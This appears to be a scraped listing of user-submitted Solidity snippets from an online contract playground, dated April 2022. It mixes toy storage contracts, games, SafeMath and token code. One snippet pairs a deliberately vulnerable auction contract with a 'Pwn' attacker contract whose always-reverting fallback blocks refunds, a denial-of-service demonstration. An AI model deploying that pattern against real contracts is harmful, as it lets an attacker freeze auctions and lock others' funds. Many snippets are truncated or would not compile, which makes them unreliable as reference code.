  pragma solidity ^0.4.18;
  contract SimpleStore {
    function set(uint _value) public {
      value = _value;
    }

    function get() public constant returns (uint) {
      return value;
    }

    uint value;
  
Apr 30, 2022 16:57:19 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SmartContract {

  function callAddmod() public view returns(uint)
  {
    return addmod(2,3,5);
  }

  
Apr 28, 2022 17:14:24 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract TicTacToe {
// game configuration
address [2] _playerAddress ; // address of both players
uint32 _turnLength ; // max time for each turn


// nonce material used to pick the first player
bytes32 _p1Commitment ;
uint8 _p2Nonce ;


// game state
uint8 [9] _board ; // serialized 3 x3 array
uint8 _currentPlayer ; // 0 or 1, indicating whose turn it is
uint256 _turnDeadline ; // deadline for submitting next move


// Create a new game , challenging a named opponent .
// The value passed in is the stake which the opponent must match .
// The challenger commits to its nonce used to determine first mover .
constructor ( address opponent , uint32 turnLength ,
bytes32 p1Commitment ) public {
_playerAddress [0] = msg . sender ;
_playerAddress [1] = opponent ;
_turnLength = turnLength ;
_p1Commitment = p1Commitment ;
}

// Join a game as the second player .
function joinGame ( uint8 p2Nonce ) public pa
Apr 28, 2022 10:46:11 UTC
/**
 *Submitted for verification at Etherscan.io on 2021-04-06
*/

/**
 *Submitted for verification at Etherscan.io on 2021-04-05
*/

pragma solidity ^0.6.0;

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns
Apr 24, 2022 18:55:56 UTC
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract NumberGame {
    struct Player {
        string name;
        uint256 probability;
        uint8 losses;
    }
    struct GameInfo {
        string gameName;
        Player[] players;
        uint8 gamesPlayed;
    }

    mapping(uint8 => GameInfo) existingGames;
    mapping(string => uint8) nameToGame;
    uint8 numGames;

    mapping(address => bool) isWhitelisted;

    constructor() {
        isWhitelisted[msg.sender] = true;
    }

    error NotWhitelisted();
    modifier onlyWhitelist() {
        if (isWhitelisted[msg.sender] != true) revert NotWhitelisted();
        _;
    }

    function createGame(string calldata _name)
        public
        onlyWhitelist
        returns (uint8)
    {
        uint8 gameId = numGames++;
        GameInfo storage game = existingGames[gameId];

        game.gameName = _name;
        game.gamesPlayed = 0;

        nameToGame[_name] = gameId;

        return gameId;
    }

    function addToGame(uint
Apr 24, 2022 14:03:53 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Apr 24, 2022 06:28:15 UTC
pragma solidity >= 0.7.0 < 0.9.0;

contract Safe {
  address private safeOwner;
  modifier isSafeOwner {
    require(
      msg.sender == safeOwner,
      "Must be safe onwer to open safe"
    );
    _;
  }

  modifier hasAdequateFunds {
    require(
      msg.sender.balance >= 47,
      "Must have at least 47 WEI"
    );
    require(
      msg.value == 47,
      "Must transfer 47 WEI to access"
    );
    _;
  }

  constructor () {
    safeOwner = 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4;
  }

  function openSafe(string memory input) public payable isSafeOwner hasAdequateFunds returns(bool) {
    bytes2 key = hex'a12c';
    bytes32 result = sha256(abi.encodePacked(input));
    if (result[0] == key[0] && result[1] == key[1]) {
      return true;
    
Apr 23, 2022 20:39:15 UTC
pragma solidity >= 0.7.0 < 0.9.0;

contract Safe {
  address private safeOwner;
  modifier isSafeOwner {
    require(
      msg.sender == safeOwner,
      "Must be safe onwer to open safe"
    );
    _;
  }

  modifier hasAdequateFunds {
    require(
      msg.sender.balance >= 47,
      "Must have at least 47 WEI"
    );
    require(
      msg.value == 47,
      "Must transfer 47 WEI to access"
    );
    _;
  }

  constructor () {
    safeOwner = 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4;
  }

  function openSafe(uint8[13] memory input) public payable isSafeOwner hasAdequateFunds returns(bool) {
    bytes2 key = hex'a12c';
    bytes32 result = sha256(abi.encodePacked(input));
    if (result[0] == key[0] && result[1] == key[1]) {
      return true;
    } else {
      return false;
    }
  }
Apr 23, 2022 07:44:18 UTC
pragma solidity ^0.4.18;

contract Gastoken {
    function free(uint256 value) public returns (bool success);
    function freeUpTo(uint256 value) public returns (uint256 freed);
    function freeFrom(address from, uint256 value) public returns (bool success);
    function freeFromUpTo(address from, uint256 value) public returns (uint256 freed);
}

contract Example {

    // This function consumes a lot of gas
    function expensiveStuff() private pure {
        /* lots of expensive stuff */
    }

    /*
     * Frees `free' tokens from the Gastoken at address `gas_token'.
     * The freed tokens belong to this Example contract. The gas refund can pay
     * for up to half of the gas cost of the total transaction in which this 
     * call occurs.
     */
    function burnGasAndFree(address gas_token, uint256 free) public {
        require(Gastoken(gas_token).free(free));
        expensiveStuff();
    }

    /*
     * Frees `free' tokens from the Gastoken at address `gas_token'.
     * The freed tokens belong
Apr 23, 2022 00:49:09 UTC
Apr 21, 2022 09:03:52 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity 0.8.11;
contract SimpleStore {
    struct ST1 {
        uint256 i1;
        uint256 i2;
        uint256 i3;
        uint256 i4;
        uint256 i5;
        uint256 i6;
        uint256 i7;
    }
    struct ST2 {
        uint256 i8;
        uint256 i9;
        uint256 i10;
        uint256 i11;
        uint256 i12;
        uint256 i13;
        uint256 i14;
    }
    struct ST3 {
        uint256 i15;
        uint256 i16;
        uint256 i17;
        uint256 i18;
        uint256 i19;
        uint256 i20;
        uint256 i21;

    }
    struct ST4 {
        uint256 i22;
        uint256 i23;
        uint256 i24;
        uint256 i25;
        uint256 i26;
        uint256 i27;
        uint256 i28;
    }


    function myFunc2(
        ST1 memory st1,
        ST2 st2,
        ST3 st3,
        ST4 st4
    ) public returns(uint256) {
        // uint256 t1=1;
        // uint256 t2=2;
        uint256 tmp = st1.i1+st4.i23;
Apr 20, 2022 12:16:38 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.15;
contract SimpleStore {
function myFunc(
        uint256 i1,
        uint256 i2,
        uint256 i3,
        uint256 i4,
        uint256 i5,
        uint256 i6,
        uint256 i7,
        uint256 i8,
        uint256 i9,
        uint256 i10,
        uint256 i11,
        uint256 i12,
        uint256 i13
    ) public returns(uint256) {
        // uint256 t1=1;
        // uint256 t2=2;
        uint256 tmp = i1+i2+i3+i4+i5+i6+i7+i8+i9+i10+i11+i12+i13;
        return tmp;
    }
Apr 20, 2022 12:10:19 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.6.12;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Apr 20, 2022 08:33:38 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  uint256 baseValue = (10 ** 18);
  uint profitPercentage = 20;
  uint[] list = [1,2,3,4,5,6,7];

  function toString(uint256 value) private pure returns (string memory) {
    // Inspired by OraclizeAPI's implementation - MIT licence
    // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
    if (value == 0) {
        return "0";
    }

    uint256 temp = value;
    uint256 digits;
    while (temp != 0) {
        digits++;
        temp /= 10;
    }

    bytes memory buffer = new bytes(digits);
    while (value != 0) {
        digits -= 1;
        buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
        value /= 10;
    }

    return string(buffer);
}

  function get() public pure returns (uint) {
    return bytes(toString(~uint256(0))).length;
  }

  function get2() public pure returns (uint) {
    return b
Apr 20, 2022 07:23:12 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  contract test {
//Defining structure
struct worker
{
string worker;
string duty;
uint8 renumeration;
}
// Creating a mapping
mapping (address => worker) result;
address[] public worker_result;
}
Apr 20, 2022 04:57:47 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Apr 20, 2022 04:34:35 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
 enum week_days
{
Monday,
Tuesday,
Wednesday,
Thursday,
Friday,
Saturday,
Sunday
}
week_days week;
week_days choice;
week_days constant default_value
= week_days.Sunday;
function set_value() public {
choice = week_days.Thursday;
}
function get_choice(
) public view returns (week_days) {
return choice;
}
function getdefaultvalue(
) public pure returns(week_days) {
return default_value;
}
Apr 20, 2022 04:33:13 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  uint[6] data;
  uint x;
  function array_example() public returns(uint[6] memory) {
    data=[uint(10),20,30,40,50]
  }

  function result() public view returns (uint[6] memory) {
    return data;
  }

Apr 20, 2022 04:32:00 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  string store = "abcd";
    function getStore() public constant returns (string) 
    {
      return store;
    }
Apr 20, 2022 04:15:16 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set() public pure returns (uint){
  uint value;
    assembly {
        value := byte(0, 0xf1)
    }
    return value;
  }

Apr 19, 2022 08:09:25 UTC
// Contract address: 0xb4d2f83a3a33e23c0e81e7a3124ae8c214470b9d
// Contract name: MarginlessCrowdsale
// Etherscan link: https://etherscan.io/address/0xb4d2f83a3a33e23c0e81e7a3124ae8c214470b9d#code
pragma solidity 0.4.19;

/**
 * @title ERC20Basic
 * @dev Simpler version of ERC20 interface
 * @dev see https://github.com/ethereum/EIPs/issues/179
 */
contract ERC20Basic {
  function totalSupply() public view returns (uint256);
  function balanceOf(address who) public view returns (uint256);
  function transfer(address to, uint256 value) public returns (bool);
  event Transfer(address indexed from, address indexed to, uint256 value);
}


/**
 * @title ERC20 interface
 * @dev see https://github.com/ethereum/EIPs/issues/20
 */
contract ERC20 is ERC20Basic {
  function allowance(address owner, address spender) public view returns (uint256);
  function transferFrom(address from, address to, uint256 value) public returns (bool);
  function approve(address spender, uint256 value) public returns (
Apr 18, 2022 14:02:11 UTC
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

contract RP {
    uint256 soldAmount = 0;
    uint256 decimals = 18;

    uint256 checkPoint = 1000 * 10^decimals; // 1k
    uint256 nextCheckPoint = checkPoint * 10; // 10k

    uint256 price = 0.2 ether;

    function sellRp(uint256 _amount) public returns (uint256) {
        uint256 payout;
        uint256 left;
        // 0. balance check of RP amount
        // 0-0. check global limit on RP sellable
        // 0-1. check RP sellable limit on user

        // 1. calculate maticAmount for _amount
        if(checkPoint >= soldAmount + _amount) {
            payout = _amount * price / 10^decimals;
            soldAmount += _amount;
        } else {
            left = _amount;
            // need bounds to prevent exceeding block gas limit
            while(left > 0) {
                uint256 discrepancy = checkPoint - soldAmount;

                if(discrepancy > left) {
                    payout += left * price / 10^decimals;
                 
Apr 18, 2022 01:26:59 UTC
//Lucky Mokalusi
pragma solidity ^0.4.18;
contract B {
  uint256 a = 0;
  uint256 b = 0;
  uint256 c = 0;
  uint256 d = 0;
  uint256 e = 0;
Apr 17, 2022 20:41:34 UTC
//Lucky Mokalusi
pragma solidity ^0.4.18;
contract A {
  uint8 a = 0;
  uint8 b = 0;
  uint8 c = 0;
  uint8 d = 0;
  uint8 e = 0;
Apr 17, 2022 20:40:25 UTC
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

contract RP {
    uint256 soldAmount = 0;
    uint256 decimals = 18;

    uint256 checkPoint = 1000 * 10^decimals; // 1k
    uint256 nextCheckPoint = checkPoint * 10; // 10k

    uint256 price = 0.2 ether;

    function sellRp(uint256 _amount) public returns (uint256) {
        uint256 payout;
        uint256 left;
        // 0. balance check of RP amount
        // 0-0. check global limit on RP sellable
        // 0-1. check RP sellable limit on user

        // 1. calculate maticAmount for _amount
        if(checkPoint >= soldAmount + _amount) {
            payout = _amount * price / 10^decimals;
            soldAmount += _amount;
        } else {
            left = _amount;
            // need bounds to prevent exceeding block gas limit
            while(left > 0) {
                uint256 discrepancy = checkPoint - soldAmount;

                if(discrepancy > left) {
                    payout += left * price / 10^decimals;
                 
Apr 17, 2022 15:52:27 UTC
pragma solidity ^0.4.18;
contract CallToTheUnknown {
  // Highest bidder becomes the Leader. 
  // Vulnerable to DoS attack by an attacker contract which reverts all transactions to it.

    address currentLeader;
    uint highestBid;

    function() payable {
        require(msg.value > highestBid);
        require(currentLeader.send(highestBid)); // Refund the old leader, if it fails then revert
        currentLeader = msg.sender;
        highestBid = msg.value;
    }
}

contract Pwn {
  // call become leader 
  function becomeLeader(address _address, uint bidAmount) {
    _address.call.value(bidAmount);
  }
    
  // reverts anytime it receives ether, thus cancelling out the change of the leader
  function() payable {
    assert(1==2);
  }
Apr 15, 2022 18:07:19 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {

  struct UserStakeData
  {
    address stakeUser;
    uint256 skateTime;
    uint256 bonusValue;
  }
  //盘口=>用户按票购买记录
  mapping(uint256=>mapping(uint256,UserStakeData)) StakeTicketData;
Apr 15, 2022 06:48:17 UTC
pragma solidity ^0.4.18;
contract A {
  uint8 a = 0;
  uint8 b = 0;
Apr 14, 2022 16:15:38 UTC
pragma solidity ^0.4.18;
contract A {
  uint8 a = 0;
Apr 14, 2022 16:13:05 UTC
pragma solidity ^0.4.18;
contract B {
  uint256 a = 0;
  uint256 b = 0;
  uint256 c = 0;
  uint256 d = 0;
  uint256 e = 0;
Apr 14, 2022 16:07:57 UTC
pragma solidity ^0.4.18;
contract A {
  uint8 a = 0;
  uint8 b = 0;
  uint8 c = 0;
  uint8 d = 0;
  uint8 e = 0;
Apr 14, 2022 16:05:06 UTC
pragma solidity ^0.4.18;
contract A {
  uint8 a = 255;
  uint8 b = 255;
  uint8 c = 255;
  uint8 d = 255;
  uint8 e = 255;
Apr 14, 2022 16:04:05 UTC
pragma solidity ^0.4.18;

contract A {
  uint8 a = 0;
Apr 14, 2022 15:35:18 UTC
pragma solidity ^0.4.18;

contract B {
  uint256 b = 0;
Apr 14, 2022 15:34:40 UTC
pragma solidity ^0.4.18;

contract B {
  uint256 b = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
Apr 14, 2022 15:33:14 UTC
pragma solidity ^0.4.18;

contract B {
  uint256 b = 0;
Apr 14, 2022 15:29:32 UTC
pragma solidity ^0.4.18;

contract A {
  uint8 a = 0;
Apr 14, 2022 15:01:44 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Apr 14, 2022 08:50:56 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Apr 14, 2022 08:01:46 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
}
Apr 13, 2022 07:45:40 UTC
//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
Apr 13, 2022 07:43:05 UTC
pragma solidity ^0.4.26;  


/* 合約本體 */
contract SimpleAdd {

    /* 變數宣告 */
    uint number = 1;

    // ... 更多變數


    /* 函數定義 */
    function getNumber() public view returns (uint) {
        return number;
    }

    // ... 更多函數 
    function increase() public {
        number++;
    }

    
Apr 12, 2022 06:08:49 UTC
// SPDX-License-Identifier: GPL-3.0
/* today's date: 4/11/2022 08:31
*/
 
pragma solidity >=0.7.0 <0.9.0;
 
import "@openzeppelin/contracts/utils/math/Math.sol";  //openzeppelin's math library to use min and max
 
/* title: TorusTacToe
dev: Play tic tac toe against the contract on a special torus board, player 1 is O (user) and player 2 is X (contract) */
contract TorusTacToe {
    /* the 72 rightmost bits represent the 36 pieces
       with each piece represented by 2 bits
       (00 = empty, 01 = user marker aka O, 10 = contract marker aka X) */
    uint256 torusState;
 
 
    function searchForMove(uint256 possibleTorus, uint256 depth, bool isContract) public pure returns (int) {    //the minimax function, do alpha beta later
        if(depth == 3) {     //max depth is 3
            return evaluateTorus(possibleTorus);
        }
        if(isContract == false){   // user's turn
            bool torusFull = true;
            int minPoints = type(int).max;
            for(uint256 posIndex = 0; posIndex < 36;
Apr 12, 2022 00:10:45 UTC
pragma solidity =0.8.7;

contract rps
{
    address payable alice = payable(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4);
    address payable bob = payable(0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2);
    mapping(address=>bytes32) public choice_hashes;
    mapping(address=>uint) public choices;
    uint initialBlock;
    bool flag = false;

    constructor()
    {
        initialBlock = block.timestamp;
    }

    function choice_nonce_hash(bytes32 hash) public payable
    {
        require(block.timestamp < initialBlock + 100);
        require(msg.sender == alice || msg.sender == bob );
        require(msg.value == 1 ether);
        choice_hashes[msg.sender] = hash;
    }

    function reveal_hash(uint choice, string memory nonce) public
    {
        require(block.timestamp >= initialBlock + 100 && block.timestamp < initialBlock + 200);
        require(msg.sender == alice || msg.sender == bob );
        require(sha256((bytes(abi.encodePacked(choice,nonce)))) == choice_hashes[msg.sender]);
        choices[msg
Apr 11, 2022 16:33:43 UTC
pragma solidity >=0.8.0 <0.9.0;
//SPDX-License-Identifier: MIT

// import "hardhat/console.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

//learn more: https://docs.openzeppelin.com/contracts/3.x/erc721

// GET LISTED ON OPENSEA: https://testnets.opensea.io/get-listed/step-two

contract Tiket is ERC721, ERC721Enumerable, ERC721URIStorage, Ownable {
    using Counters for Counters.Counter;
    Counters.Counter private _tokenIds;

    constructor() public ERC721("Tiket", "TIKT") {}

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 tokenId
    ) internal override(ERC721, ERC721Enumerable) {
        super._beforeTokenTransfer(from, to, tokenId);
    }

    function _burn(uint256 tokenId)
     
Apr 09, 2022 08:13:52 UTC